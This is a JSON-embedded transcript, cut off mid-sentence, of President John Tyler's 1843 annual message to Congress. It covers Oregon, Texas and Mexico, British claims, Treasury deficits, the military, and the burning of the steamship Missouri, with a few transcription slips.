+    "speech": "To the Senate and House of Representatives of the United States:If any people ever had cause to render up thanks to the Supreme Being for\nparental care and protection extended to them in all the trials and\ndifficulties to which they have been from time to time exposed, we\ncertainly are that people. From the first settlement of our forefathers on\nthis continent, through the dangers attendant upon the occupation of a\nsavage wilderness, through a long period of colonial dependence, through\nthe War of the Revolution, in the wisdom which led to the adoption of the\nexisting forms of republican government, in the hazards incident to a war\nsubsequently waged with one of the most powerful nations of the earth, in\nthe increase of our population, in the spread of the arts and sciences, and\nin the strength and durability conferred on political institutions\nemanating from the people and sustained by their will, the superintendence\nof an overruling Providence has been plainly visible. As preparatory,\ntherefore, to entering once more upon the high duties of legislation, it\nbecomes us humbly to acknowledge our dependence upon Him as our guide and\nprotector and to implore a continuance of His parental watchfulness over\nour beloved country. We have new cause for the expression of our gratitude\nin the preservation of the health of our fellow-citizens, with some partial\nand local exceptions, during the past season, for the abundance with which\nthe earth has yielded up its fruits to the labors of the husbandman, for\nthe renewed activity which has been imparted to commerce, for the revival\nof trade in all its departments, for the increased rewards attendant on the\nexercise of the mechanic arts, for the continued growth of our population\nand the rapidly reviving prosperity of the whole country. I shall be\npermitted to exchange congratulations with you, gentlemen of the two Houses\nof Congress, on these auspicious circumstances, and to assure you in\nadvance of my ready disposition to concur with you in the adoption of all\nsuch measures as shall be calculated to increase the happiness of our\nconstituents and to advance the glory of our common country.Since the last adjournment of Congress the Executive has relaxed no effort\nto render indestructible the relations of amity which so happily exist\nbetween the United States and other countries. The treaty lately concluded\nwith Great Britain has tended greatly to increase the good understanding\nwhich a reciprocity of interests is calculated to encourage, and it is most\nardently to be hoped that nothing may transpire to interrupt the relations\nof amity which it is so obviously the policy of both nations to cultivate.\nA question of much importance still remains to be adjusted between them.\nThe territorial limits of the two countries relation to what is commonly\nknown as the Oregon Territory still remain in dispute. The United States\nwould be at all times indisposed to aggrandize itself at the expense of any\nother nation; but while they would be restrained by principles of honor,\nwhich should govern the conduct of nations as well as that of individuals,\nfrom setting up a demand for territory which does not belong to them, they\nwould as unwillingly sent to a surrender of their rights. After the most\nrigid and, as far as practicable, unbiased examination of the subject, the\nUnited States have always contended that their rights appertain to the\nentire region of country lying on the Pacific and embraced within 42 \nand 54  40' of north latitude. This claim being controverted by Great\nBritain, those who have preceded the present Executive--actuated, no doubt,\nby an earnest desire to adjust the matter upon terms mutually satisfactory\nto both countries--have caused to be submitted to the British Government\npropositions for settlement and final adjustment, which, however, have not\nproved heretofore acceptable to it. Our minister at London has, under\ninstructions, again brought the subject to the consideration of that\nGovernment, and while nothing will be done to compromise the rights or\nhonor of the United States, every proper expedient will be resorted to in\norder to bring the negotiation now in the progress of resumption to a\nspeedy and happy termination. In the meantime it is proper to remark that\nmany of our citizens are either already established in the Territory or are\non their way thither for the purpose of forming permanent settlements,\nwhile others are preparing to follow; and in view of these facts I must\nrepeat the recommendation contained in previous messages for the\nestablishment of military posts at such places on the line of travel as\nwill furnish security and protection to our hardy adventurers against\nhostile tribes of Indians inhabiting those extensive regions. Our laws\nshould also follow them, so modified as the circumstances of the case may\nseem to require. Under the influence of our free system of government new\nrepublics are destined to spring up at no distant day on the shores of the\nPacific similar in policy and in feeling to those existing on this side of\nthe Rocky Mountains, and giving a wider and more extensive spread to the\nprinciples of civil and religious liberty.I am happy to inform you that the cases which have from time to time arisen\nof the detention of American vessels by British cruisers on the coast of\nAfrica under pretense of being engaged in the slave trade have been placed\nin a fair train of adjustment. In the case of the William and Francis full\nsatisfaction will be allowed. In the cases of the Tygris and Seamew the\nBritish Government admits that satisfaction is due. In the case of the\nJones the sum accruing from the sale of that vessel and cargo will be paid\nto the owners, while I can not but flatter myself that full indemnification\nwill be allowed for all damages sustained by the detention of the vessel;\nand in the case of the Douglas Her Majesty's Government has expressed its\ndetermination to make indemnification. Strong hopes are therefore\nentertained that most, if not all, of these cases will be speedily\nadjusted. No new cases have arisen since the ratification of the treaty of\nWashington, and it is confidently anticipated that the slave trade, under\nthe operation of the eighth article of that treaty, will be altogether\nsuppressed.The occasional interruption experienced by our fellow-citizens engaged in\nthe fisheries on the neighboring coast of Nova Scotia has not failed to\nclaim the attention of the Executive. Representations upon this subject\nhave been made, but as yet no definitive answer to those representations\nhas been received from the British Government.Two other subjects of comparatively minor importance, but nevertheless of\ntoo much consequence to be neglected, remain still to be adjusted between\nthe two countries. By the treaty between the United States and Great\nBritain of July, 1815, it is provided that no higher duties shall be levied\nin either country on articles imported from the other than on the same\narticles imported from any other place. In 1836 rough rice by act of\nParliament was admitted from the coast of Africa into Great Britain on the\npayment of a duty of 1 penny a quarter, while the same article from all\nother countries, including the United States, was subjected to the payment\nof a duty of 20 shillings a quarter. Our minister at London has from time\nto time brought this subject to the attention of the British Government,\nbut so far without success. He is instructed to renew his representations\nupon it.Some years since a claim was preferred against the British Government on\nthe part of certain American merchants for the return of export duties paid\nby them on shipments of woolen goods to the United States after the duty on\nsimilar articles exported to other countries had been repealed, and\nconsequently in contravention of the commercial convention between the two\nnations securing to us equality in such cases. The principle on which the\nclaim rests has long since been virtually admitted by Great Britain, but\nobstacles to a settlement have from time to time been interposed, so that a\nlarge portion of the amount claimed has not yet been refunded. Our minister\nis now engaged in the prosecution of the claim, and I can not but persuade\nmyself that the British Government will no longer delay its adjustment.I am happy to be able to say that nothing has occurred to disturb in any\ndegree the relations of amity which exist between the United States and\nFrance, Austria, and Russia, as well as with the other powers of Europe,\nsince the adjournment of Congress. Spain has been agitated with internal\nconvulsions for many years, from the effects of which, it is hoped, she is\ndestined speedily to recover, when, under a more liberal system of\ncommercial policy on her part, our trade with her may again fill its old\nand, so far as her continental possessions are concerned, its almost\nforsaken channels, thereby adding to the mutual prosperity of the two\ncountries.The Germanic Association of Customs and Commerce, which since its\nestablishment in 1833 has been steadily growing in power and importance,\nand consists at this time of more than twenty German States, and embraces a\npopulation of 27,000,000 people united for all fire purposes of commercial\nintercourse with each other and with foreign states, offers to the latter\nthe most valuable exchanges on principles more liberal than are offered in\nthe fiscal system of any other European power. From its origin the\nimportance of the German union has never been lost sight of by the United\nStates. The industry, morality, and other valuable qualities of the German\nnation have always been well known and appreciated. On this subject I\ninvite the attention of Congress to the report of the Secretary of State,\nfrom which it will be seen that while our cotton is admitted free of duty\nand the duty on rice has been much reduced (which has already led to a\ngreatly increased consumption), a strong disposition has been recently\nevinced by that great body to reduce, upon certain conditions, their\npresent duty upon tobacco. This being the first intimation of a concession\non this interesting subject ever made by any European power, I can not but\nregard it as well calculated to remove the only impediment which has so far\nexisted to the most liberal commercial intercourse between us and them. In\nthis view our minister at Berlin, who has heretofore industriously pursued\nthe subject, has been instructed to enter upon the negotiation of a\ncommercial treaty, which, while it will open new advantages to the\nagricultural interests of the United States and a more free and expanded\nfield for commercial operations, will affect injuriously no existing\ninterest of the Union. Should the negotiation be crowned with success, its\nresults will be communicated to both Houses of Congress.I communicate herewith certain dispatches received from our minister at\nMexico, and also a correspondence which has recently occurred between the\nenvoy from that Republic and the Secretary of State. It must but be\nregarded as not a little extraordinary that the Government of Mexico, in\nanticipation of a public discussion (which it has been pleased to infer\nfrom newspaper publications as likely to take place in Congress, relating\nto the annexation of Texas to the United States), should have so far\nanticipated the result of such discussion as to have announced its\ndetermination to visit any such anticipated decision by a formal\ndeclaration of war against the United States. If designed to prevent\nCongress from introducing that question as a fit subject for its calm\ndeliberation and final judgment, the Executive has no reason to doubt that\nit will entirely fail of its object. The representatives of a brave and\npatriotic people will suffer no apprehension of future consequences to\nembarrass them in the course of their proposed deliberations, nor will the\nexecutive department of the Government fail for any such cause to discharge\nits whole duty to the country.The war which has existed for so long a time between Mexico and Texas has\nsince the battle of San Jacinto consisted for the most part of predatory\nincursions, which, while they have been attended with much of suffering to\nindividuals and have kept the borders of the two countries in a state of\nconstant alarm, have failed to approach to any definitive result. Mexico\nhas fitted out no formidable armament by land or by sea for the subjugation\nof Texas. Eight years have now elapsed since Texas declared her\nindependence of Mexico, and during that time she has been recognized as a\nsovereign power by several of the principal civilized states. Mexico,\nnevertheless, perseveres in her plans of reconquest, and refuses to\nrecognize her independence. The predatory incursions to which I have\nalluded have been attended in one instance with the breaking up of the\ncourts of justice, by the seizing upon the persons of the judges, jury, and\nofficers of the court and dragging them along with unarmed, and therefore\nnoncombatant, citizens into a cruel and oppressive bondage, thus leaving\ncrime to go unpunished and immorality to pass unreproved. A border warfare\nis evermore to be deprecated, and over such a war as has existed for so\nmany years between these two States humanity has had great cause to lament.\nNor is such a condition of things to be deplored only because of the\nindividual suffering attendant upon it. The effects are far more extensive.\nThe Creator of the Universe has given man the earth for his resting place\nand its fruits for his subsistence. Whatever, therefore, shall make the\nfirst or any part of it a scene of desolation affects injuriously his\nheritage and may be regarded as a general calamity. Wars may sometimes be\nnecessary, but all nations have a common interest in bringing them speedily\nto a close. The United States have an immediate interest in seeing an end\nput to the state of hostilities existing between Mexico and Texas. They are\nour neighbors, of the same continent, with whom we are not only desirous of\ncultivating the relations of amity, but of the most extended commercial\nintercourse, and to practice all the rites of a neighborhood hospitality.\nOur own interests are involved in the matter, since, however neutral may be\nour course of policy, we can not hope to escape the effects of a spirit of\njealousy on the part of both of the powers. Nor can this Government be\nindifferent to the fact that a warfare such as is waged between those two\nnations is calculated to weaken both powers and finally to render them--and\nespecially the weaker of the two--the subjects of interference on the part\nof stronger and more powerful nations, who, intent only on advancing their\nown peculiar views, may sooner or later attempt to bring about a compliance\nwith terms as the condition of their interposition alike derogatory to the\nnation granting them and detrimental to the interests of the United States.\nWe could not be expected quietly to permit any such interference to our\ndisadvantage. Considering that Texas is separated from the United States by\na mere geographical line; that her territory, in the opinion of many, down\nto a late period formed a portion of the territory of the United States;\nthat it is homogeneous in its population and pursuits with adjoining\nStates, makes contributions to the commerce of the world in the same\narticles with them, and that most of her inhabitants have been citizens of\nthe United States, speak the same language, and live under similar\npolitical institutions with ourselves, this Government is bound by every\nconsideration of interest as well as of sympathy to see that she shall be\nleft free to act, especially in regard to her domestic affairs, unawed by\nforce and unrestrained by the policy or views of other countries. In full\nview of all these considerations, the Executive has not hesitated to\nexpress to the Government of Mexico how deeply it deprecated a continuance\nof the war and how anxiously it desired to witness its termination. I can\nnot but think that it becomes the United States, as the oldest of the\nAmerican Republics, to hold a language to Mexico upon this subject of an\nunambiguous character. It is time that this war had ceased. There must be a\nlimit to all wars, and if the parent state after an eight years' struggle\nhas failed to reduce to submission a portion of its subjects standing out\nin revolt against it, and who have not only proclaimed themselves to be\nindependent, but have been recognized as such by other powers, she ought\nnot to expect that other nations will quietly look on, to their obvious\ninjury, upon a protraction of hostilities. These United States threw off\ntheir colonial dependence and established independent governments, and\nGreat Britain, after having wasted her energies in the attempt to subdue\nthem for a less period than Mexico has attempted to subjugate Texas, had\nthe wisdom and justice to acknowledge their independence, thereby\nrecognizing the obligation which rested on her as one of the family of\nnations. An example thus set by one of the proudest as well as most\npowerful nations of the earth it could in no way disparage Mexico to\nimitate. While, therefore, the Executive would deplore any collision with\nMexico or any disturbance of the friendly relations which exist between the\ntwo countries, it can not permit that Government to control its policy,\nwhatever it may be, toward Texas, but will treat her--as by the recognition\nof her independence the United States have long since declared they would\ndo--as entirely independent of Mexico. The high obligations of public duty\nmay enforce from the constituted authorities of the United States a policy\nwhich the course persevered in by Mexico will have mainly contributed to\nproduce, and the Executive in such a touting they will with confidence\nthrow itself upon the patriotism of the people to sustain the Government in\nits course of action.Measures of an unusual character have recently been adopted by the Mexican\nGovernment, calculated in no small degree to affect the trade of other\nnations with Mexico and to operate injuriously to the United States. All\nforeigners, by a decree of the 23d day of September, and after six months\nfrom the day of its promulgation, are forbidden to carry on the business of\nselling by retail any goods within the confines of Mexico. Against this\ndecree our minister has not failed to remonstrate.The trade heretofore carried on by our citizens with Santa Fe, in which\nmuch capital was already invested and which was becoming of daily\nincreasing importance, has suddenly been arrested by a decree of virtual\nprohibition on the part of the Mexican Government. Whatever may be the\nright of Mexico to prohibit any particular course of trade to the citizens\nor subjects of foreign powers, this late procedure, to say the least of it,\nwears a harsh and unfriendly aspect.The installments on the claims recently settled by the convention with\nMexico have been punctually paid as they have fallen due, and our minister\nis engaged in urging the establishment of a new commission in pursuance of\nthe convention for the settlement of unadjusted claims.With the other American States our relations of amity and good will have\nremained uninterrupted. Our minister near the Republic of New Granada has\nsucceeded in effecting an adjustment of the claim upon that Government for\nthe schooner By Chance, which had been pending for many years. The claim\nfor the brig Morris, which had its origin during the existence of the\nRepublic of Colombia, and indemnification for which since the dissolution\nof that Republic has devolved upon its several members, will be urged with\nrenewed zeal.I have much pleasure in saying that the Government of Brazil has adjusted\nthe claim upon that Government in the case of the schooner John S. Bryan,\nand that sanguine hopes are entertained that the same spirit of justice\nwill influence its councils in arriving at an early decision upon the\nremaining claims, thereby removing all cause of dissension between two\npowers whose interests are to some extent interwoven with each other.Our minister at Chili has succeeded in inducing a recognition by that\nGovernment of the adjustment effected by his predecessor of the first claim\nin the case of the Macedonian. The first installment has been received by\nthe claimants in the United States.Notice of the exchange of ratifications of the treaty with Peru, which will\ntake place at Lima, has not yet reached this country, but is shortly\nexpected to be received, when the claims upon that Republic will doubtless\nbe liquidated and paid.In consequence of a misunderstanding between this Government and that of\nBuenos Ayres, occurring several years ago, this Government has remained\nunrepresented at that Court, while a minister from it has been constantly\nresident here. The causes of irritation have in a great measure passed\naway, and it is in contemplation, in view of important interests which have\ngrown up in that country, at some early period during the present session\nof Congress, with the concurrence of the Senate, to restore diplomatic\nrelations between the two countries.Under the provisions of an act of Congress of the last session a minister\nwas dispatched from the United States to China in August of the present\nyear, who, from the latest accounts we have from him, was at Suez, in\nEgypt, on the 25th of September last, on his route to China.In regard to the Indian tribes residing within our jurisdictional limits,\nthe greatest vigilance of the Government has been exerted to preserve them\nat peace among themselves and to inspire them with feelings of confidence\nin the justice of this Government and to cultivate friendship with the\nborder inhabitants. This has happily succeeded to a great extent, but it is\na subject of regret that they suffer themselves in some instances to be\nimposed upon by artful and designing men and this notwithstanding all\nefforts of the Government to prevent it.The receipts into the Treasury for the calendar year 1843, exclusive of\nloans, were little more than $ 18,000,000, and the expenditures, exclusive\nof the payments on the public debt, will have been about $23,000,000. By\nthe act of 1842 a new arrangement of the fiscal year was made, so that it\nshould commence on the 1st day of July in each year. The accounts and\nestimates for the current fiscal year will show that the loans and Treasury\nnotes made and issued before the close of the last Congress to meet the\nanticipated deficiency have not been entirely adequate. Although on the 1st\nof October last there was a balance in the Treasury, in consequence of the\nprovisions thus made, of $3,914,082.77, yet the appropriations already made\nby Congress will absorb that balance and leave a probable deficiency of\n$2,000,000 at the close of the present fiscal year. There are outstanding\nTreasury notes to about the amount of $4,600,000, and should they be\nreturned upon the Treasury during the fiscal year they will require\nprovision for their redemption. I do not, however, regard this as probable,\nsince they have obviously entered into the currency of the country and will\ncontinue to form a portion of it if the system now adopted be continued.\nThe loan of 1841, amounting to $5,672,976.88, falls due on the 1st day of\nJanuary, 1845, and must be provided for or postponed by a new loan; and\nunless the resources of revenue should be materially increased by you there\nwill be a probable deficiency for the service of the fiscal year ending\nJune 30, 1845, of upward of $4,000,000.The delusion incident to an enormously excessive paper circulation, which\ngave a fictitious value to everything and stimulated adventure and\nspeculation to an extravagant extent, has been happily succeeded by the\nsubstitution of the precious metals and paper promptly redeemable in\nspecie; and thus false values have disappeared and a sounder condition of\nthings has been introduced. This transition, although intimately connected\nwith the prosperity of the country, has nevertheless been attended with\nmuch embarrassment to the Government in its financial concerns. So long as\nthe foreign importers could receive payment for their cargoes in a currency\nof greatly less value than that in Europe, but fully available here in the\npurchase of our agricultural productions (their profits being immeasurably\naugmented by the operation), the shipments were large and the revenues of\nthe Government became superabundant. But the change in the character of the\ncirculation from a nominal and apparently real value in the first stage of\nits existence to an obviously depreciated value in its second, so that it\nno longer answered the purposes of exchange or barter, and its ultimate\nsubstitution by a sound metallic and paper circulation combined, has been\nattended by diminished importations and a consequent falling off in the\nrevenue. This has induced Congress, from 1837, to resort to the expedient\nof issuing Treasury notes, and finally of funding them, in order to supply\ndeficiencies. I can not, however, withhold the remark that it is in no way\ncompatible with the dignity of the Government that a public debt should be\ncreated in time of peace to meet the current expenses of the Government, or\nthat temporary expedients should be resorted to an hour longer than it is\npossible to avoid them. The Executive can do no more than apply the means\nwhich Congress places in its hands for the support of Government, and,\nhappily for the good of the country and for the preservation of its\nliberties, it possesses no power to levy exactions on the people or to\nforce from them contributions to the public revenue in any form. It can\nonly recommend such measures as may in its opinion be called for by the\nwants of the public service to Congress, with whom alone rests the power to\n\"lay and collect taxes, duties, imposts, and excises.\" This duty has upon\nseveral occasions heretofore been performed. The present condition of\nthings gives flattering promise that trade and commerce are rapidly\nreviving, and, fortunately for the country, the sources of revenue have\nonly to be opened in order to prove abundant.While we can anticipate no considerable increase in the proceeds of the\nsales of the public lands, for reasons perfectly obvious to all, for\nseveral years to come, yet the public lands can not otherwise than be\nregarded as the foundation of the public credit. With so large a body of\nthe most fertile lands in the world under the control and at the disposal\nof this Government, no one can reasonably doubt the entire ability to meet\nits engagements under every emergency. In seasons of trial and difficulty\nsimilar to those through which we are passing the capitalist makes his\ninvestments in the Government cut stocks with the most assured confidence\nof ultimate reimbursement; and whatever may be said of a period of great\nfinancial prosperity, such as existed for some years after 1833, I should\nregard it as suicidal in a season of financial embarrassment either to\nalienate the lands themselves or the proceeds arising from their sales. The\nfirst and paramount duty of those to whom may be intrusted the\nadministration of public affairs is to guard the public credit. In\nreestablishing the credit of this central Government the readiest and most\nobvious mode is taken to restore the credit of the States. The extremities\ncan only be made sound by producing a healthy action in the central\nGovernment, and the history of the present day fully establishes the fact\nthat an increase in the value of the stocks of this Government will in a\ngreat majority of instances be attended by an increase in the value of the\nstocks of the States. It should therefore be a matter of general\ncongratulation that amidst all the embarrassments arising from surrounding\ncircumstances the credit of the Government should have been so fully\nrestored that it has been enabled to effect a loan of $7,000,000 to redeem\nthat amount of Treasury notes on terms more favorable than any that have\nbeen offered for many years. And the 6 per cent stock which was created in\n1842 has advanced in the hands of the holders nearly 20 per cent above its\npar value. The confidence of the people in the integrity of their\nGovernment has thus been signally manifested. These opinions relative to\nthe public lands do not in any manner conflict with the observance of the\nmost liberal policy toward those of our fellow-citizens who press forward\ninto the wilderness and are the pioneers in the work of its reclamation. In\nsecuring to all such their rights of preemption the Government performs but\nan act of retributive justice for sufferings encountered and hardships\nendured, and finds ample remuneration in the comforts which its policy\ninsures and the happiness which it imparts.Should a revision of the tariff with a view to revenue become necessary in\nthe estimation of Congress, I doubt not you will approach the subject with\na just and enlightened regard to the interests of the whole Union. The\nprinciples and views which I have heretofore had occasion to submit remain\nunchanged. It can, however, never be too often repeated that the prominent\ninterest of every important pursuit of life requires for success permanency\nand stability in legislation. These can only be attained by adopting as the\nbasis of action moderation in all things, which is as indispensably\nnecessary to secure the harmonious action of the political as of the animal\nsystem. In our political organization no one section of the country should\ndesire to have its supposed interests advanced at the sacrifice of all\nothers, but union, being the great interest, equally precious to all,\nshould be fostered and sustained by mutual concessions and the cultivation\nof that spirit of compromise from which the Constitution itself proceeded.You will be informed by the report from the Treasury Department of the\nmeasures taken under the act of the last session authorizing the reissue of\nTreasury notes in lieu of those then outstanding. The system adopted in\npursuance of existing laws seems well calculated to save the country a\nlarge amount of interest, while it affords conveniences and obviates\ndangers and expense in the transmission of funds to disbursing agents. I\nrefer you also to that report for the means proposed by the Secretary to\nincrease the revenue, and particularly to that portion of it which relates\nto the subject of the warehousing system, which I earnestly urged upon\nCongress at its last session and as to the importance of which my opinion\nhas undergone no change.In view of the disordered condition of the currency at the time and the\nhigh rates of exchange between different parts of the country, I felt it to\nbe incumbent on me to present to the consideration of your predecessors a\nproposition conflicting in no degree with the Constitution or with the\nrights of the States and having the sanction (not in detail, but in\nprinciple) of some of the eminent men who have preceded me in the Executive\noffice. That proposition contemplated the issuing of Treasury notes of\ndenominations of not less than $5 nor more than $100, to be employed in the\npayment of the obligations of the Government in lieu of gold and silver at\nthe option of the public creditor, and to an amount not exceeding\n$15,000,000. It was proposed to make them receivable everywhere and to\nestablish at various points depositories of gold and silver to be held in\ntrust for the redemption of such notes, so as to insure their\nconvertibility into specie. No doubt was entertained that such notes would\nhave maintained a par value with gold and silver, thus furnishing a paper\ncurrency of equal value over the Union, thereby meeting the just\nexpectations of the people and fulfilling the duties of a parental\ngovernment. Whether the depositories should be permitted to sell or\npurchase bills under very limited restrictions, together with all its other\ndetails, was submitted to the wisdom of Congress and was regarded as of\nsecondary importance. I thought then and think now that such an arrangement\nwould have been attended with the happiest results. The whole matter of the\ncurrency would have been placed where by the Constitution it was designed\nto be placed--under the immediate supervision and control of Congress. The\naction of the Government would have been independent of all corporations,\nand the same eye which rests unceasingly on the specie currency and guards\nit against adulteration would also have rested on the paper currency, to\ncontrol and regulate its issues and protect it against depreciation. The\nsame reasons which would forbid Congress from parting with the power over\nthe coinage would seem to operate with nearly equal force hi regard to any\nsubstitution for the precious metals in the form of a circulating medium.\nPaper when substituted for specie constitutes a standard of value by which\nthe operations of society are regulated, and whatsoever causes its\ndepreciation affects society to an extent nearly, if not quite, equal to\nthe adulteration of the coin. Nor can I withhold the remark that its\nadvantages contrasted with a bank of the United States, apart from the fact\nthat a bank was esteemed as obnoxious to the public sentiment as well on\nthe score of expediency as of constitutionality, appeared to me to be\nstriking and obvious. The relief which a bank would afford by an issue of\n$15,000,000 of its notes, judging from the experience of the late United\nStates Bank, would not have occurred in less than fifteen years, whereas\nunder the proposed arrangement the relief arising from the issue of\n$15,000,000 of Treasury notes would have been consummated in one year, thus\nfurnishing in one-fifteenth part of the time in which a bank could have\naccomplished it a paper medium of exchange equal in amount to the real\nwants of the country at par value with gold and silver. The saving to the\nGovernment would have been equal to all the interest which it has had to\npay on Treasury notes of previous as well as subsequent issues, thereby\nrelieving the Government and at the same time affording relief to the\npeople. Under all the responsibilities attached to the station which I\noccupy, and in redemption of a pledge given to the last Congress at the\nclose of its first session, I submitted the suggestion to its consideration\nat two consecutive sessions. The recommendation, however, met with no favor\nat its hands. While I am free to admit that the necessities of the times\nhave since become greatly ameliorated and that there is good reason to hope\nthat the country is safely and rapidly emerging from the difficulties and\nembarrassments which everywhere surrounded it in 1841, yet I can not but\nthink that its restoration to a sound and healthy condition would be\ngreatly expedited by a resort to the expedient in a modified form.The operations of the Treasury now rest upon the act of 1789 and the\nresolution of 1816, and those laws have been so administered as to produce\nas great a quantum of good to the country as their provisions are capable\nof yielding. If there had been any distinct expression of opinion going to\nshow that public sentiment is averse to the plan, either as heretofore\nrecommended to Congress or in a modified form, while my own opinion in\nregard to it would remain unchanged I should be very far from again\npresenting it to your consideration. The Government has originated with the\nStates and the people, for their own benefit and advantage, and it would be\nsubversive of the foundation principles of the political edifice which they\nhave reared to persevere in a measure which in their mature judgments they\nhad either repudiated or condemned. The will of our constituents clearly\nexpressed should be regarded as the light to guide our footsteps, the true\ndifference between a monarchical or aristocratical government and a\nrepublic being that in the first the will of the few prevails over the will\nof the many, while in the last the will of the many should be alone\nconsulted.The report of the Secretary of War will bring you acquainted with the\ncondition of that important branch of the public service. The Army may be\nregarded, in consequence of the small number of the rank and file in each\ncompany and regiment, as little more than a nucleus around which to rally\nthe military force of the country in case of war, and yet its services in\npreserving the peace of the frontiers are of a most important nature. In\nall cases of emergency the reliance of the country is properly placed in\nthe militia of the several States, and it may well deserve the\nconsideration of Congress whether a new and more perfect organization might\nnot be introduced, looking mainly to the volunteer companies of the Union\nfor the present and of easy application to the great body of the militia in\ntime of war.The expenditures of the War Department have been considerably reduced in\nthe last two years. Contingencies, however, may arise which would call for\nthe filling up of the regiments with a full complement of men and make it\nvery desirable to remount the corps of dragoons, which by an act of the\nlast Congress was directed to be dissolved.I refer you to the accompanying report of the Secretary for information in\nrelation to the Navy of the United States. While every effort has been and\nwill continue to be made to retrench all superfluities and lop off all\nexcrescences which from time to time may have grown up, yet it has not been\nregarded as wise or prudent to recommend any material change in the annual\nappropriations. The interests which are involved are of too important a\ncharacter to lead to the recommendation of any other than a liberal policy.\nAdequate appropriations ought to be made to enable the Executive to fit out\nall the ships that are now in a course of building or that require repairs\nfor active service in the shortest possible time should any emergency arise\nwhich may require it. An efficient navy, while it is the cheapest means of\npublic defense, enlists in its support the feelings of pride and confidence\nwhich brilliant deeds and heroic valor have heretofore served to strengthen\nand confirm.I refer you particularly to that part of the Secretary's report which has\nreference to recent experiments in the application of steam and in the\nconstruction of our war steamers, made under the superintendence of\ndistinguished officers of the Navy. In addition to other manifest\nimprovements in the construction of the steam engine and application of the\nmotive power which has rendered them more appropriate to the uses of ships\nof war, one of those officers has brought into use a power which makes the\nsteamship most formidable either for attack or defense. I can not too\nstrongly recommend this subject to your consideration and do not hesitate\nto express my entire conviction of its great importance.I call your particular attention also to that portion of the Secretary's\nreport which has reference to the act of the late session of Congress which\nprohibited the transfer of any balance of appropriation from other heads of\nappropriation to that for building, equipment, and repair. The repeal of\nthat prohibition will enable the Department to give renewed employment to a\nlarge class of workmen who have been necessarily discharged in consequence\nof the want of means to pay them--a circumstance attended, especially at\nthis season of the year, with much privation and suffering.It gives me great pain to announce to you the loss of the steamship the\nMissouri by fire in the Bay of Gibraltar, where she had stopped to renew\nher supplies of coal on her voyage to Alexandria, with Mr. Cushing, the\nAmerican minister to China, on board. There is ground for high commendation\nof the officers and men for the coolness and intrepidity and perfect\nsubmission to discipline evinced under the most trying circumstances.\nSurrounded by a raging fire, which the utmost exertions could not subdue,\nand which threatened momentarily the explosion of her well-supplied\nmagazines, the officers exhibited no signs of fear and the men obeyed every\norder with alacrity. Nor was she abandoned until the last gleam of hope of\nsaving her had expired. It is well worthy of your consideration whether the\nlosses sustained by the officers and crew in this unfortunate affair should\nnot be reimbursed to them.I can not take leave of this painful subject without adverting to the aid\nrendered upon the occasion by the British authorities at Gibraltar and the\ncommander, officers, and crew of the British ship of the line the Malabar,\nwhich was lying at the time in the bay. Everything that generosity or\nhumanity could dictate was promptly performed. It is by such acts of good\nwill by one to another of the family of nations that fraternal feelings are\nnourished and the blessings of permanent peace secured.The report of the Postmaster-General will bring you acquainted with the\noperations of that Department during the past year, and will suggest to you\nsuch modifications of the existing laws as in your opinion the exigencies\nof the public service may require. The change which the country has\nundergone of late years in the mode of travel and transportation has\nafforded so many facilities for the transmission of mail matter out of the\nregular mail as to require the greatest vigilance and circumspection in\norder to enable the officer at the head of the Department to restrain the\nexpenditures within the income. There is also too much reason to fear that\nthe franking privilege has run into great abuse. The Department,\nnevertheless, has been conducted with the greatest vigor, and has attained\nat the least possible expense all the useful objects for which it was\nestablished.In regard to all the Departments, I am quite happy in the belief that\nnothing has been left undone which was called for by a true spirit of\neconomy or by a system of accountability rigidly enforced. This is in some\ndegree apparent from the fact that the Government has sustained no loss by\nthe default of any of its agents. In the complex, but at the same time\nbeautiful, machinery of our system of government, it is not a matter of\nsurprise that some remote agency may have failed for an instant to fulfill\nits desired office; but I feel confident in the assertion that nothing has\noccurred to interrupt the harmonious action of the Government itself, and\nthat, while the laws have been executed with efficiency and vigor, the\nrights neither of States nor individuals have been trampled on or\ndisregarded.In the meantime the country has been steadily advancing in all that\ncontributes to national greatness. The tide of population continues\nunbrokenly to flow into the new States and Territories, where a refuge is\nfound not only for our native-born fellow-citizens, but for emigrants from\nall parts of the civilized world, who come among us to partake of the\nblessings of our free institutions and to aid by their labor to swell the\ncurrent of our wealth and power.It is due to every consideration of public policy that the lakes and rivers\nof the West should receive all such attention at the hands of Congress as\nthe Constitution will enable it to bestow. Works in favorable and proper\nsituations on the Lakes would be found to be as indispensably necessary, in\ncase of war, to carry on safe and successful naval operations as\nfortifications on the Atlantic seaboard. The appropriation made by the last\nCongress for the improvement of the navigation of the Mississippi River has\nbeen diligently and efficiently applied.I can not close this communication, gentlemen, without recommending to your\nmost favorable consideration the interests of this District. Appointed by\nthe Constitution its exclusive legislators, and forming in this particular\nthe only anomaly in our system of government--of the legislative body being\nelected by others than those for whose advantage they are to legislate--you\nwill feel a superadded obligation to look well into their condition and to\nleave no cause for complaint or regret. The seat of Government of our\nassociated republics can not but be regarded as worthy of your parental\ncare.In connection with its other interests, as well as those of the whole\ncountry, I recommend that at your present session you adopt such measures\nin order to carry into effect the Smithsonian bequest as in your judgment\nwill be best calculated to consummate the liberal intent of the testator.When, under a dispensation of Divine Providence, I succeeded to the\npresidential office, the state of public affairs was embarrassing and\ncritical. To add to the irritation consequent upon a long-standing\ncontroversy with one of the most powerful nations of modern times,\ninvolving not only questions of boundary (which under the most favorable\ncircumstances are always embarrassing), but at the same time important and\nhigh principles of maritime law, border controversies between the citizens\nand subjects of the two countries had engendered a state of feeling and of\nconduct which threatened the most calamitous consequences. The hazards\nincident to this state of things were greatly heightened by the arrest and\nimprisonment of a subject of Great Britain, who, acting (as it was alleged)\nas a part of a military force, had aided in the commission of an act\nviolative of the territorial jurisdiction of the United States and\ninvolving the murder of a citizen, of the State of New York. A large amount\nof claims against the Government of Mexico remained unadjusted and a war of\nseveral years' continuance with the savage tribes of Florida still\nprevailed, attended with the desolation of a large portion of that\nbeautiful Territory and with the sacrifice of many valuable lives. To\nincrease the embarrassments of the Government, individual and State credit\nhad been nearly stricken down and confidence in the General Government was\nso much impaired that-loans of a small amount could only be negotiated at a\nconsiderable sacrifice. As a necessary consequence of the blight which had\nfallen on commerce and mechanical industry, the ships of the one were\nthrown out of employment and the operations of the other had been greatly\ndiminished. Owing to the condition of the currency, exchanges between\ndifferent parts of the country had become ruinously high and trade had to\ndepend on a depreciated paper currency in conducting its transactions. I\nshall be permitted to congratulate the country that under an overruling\nProvidence peace was preserved without a sacrifice of the national honor;\nthe war in Florida was brought to a speedy termination; a large portion of\nthe claims on Mexico have been fully adjudicated and are in a course of\npayment, while justice has been rendered to us in other matters by 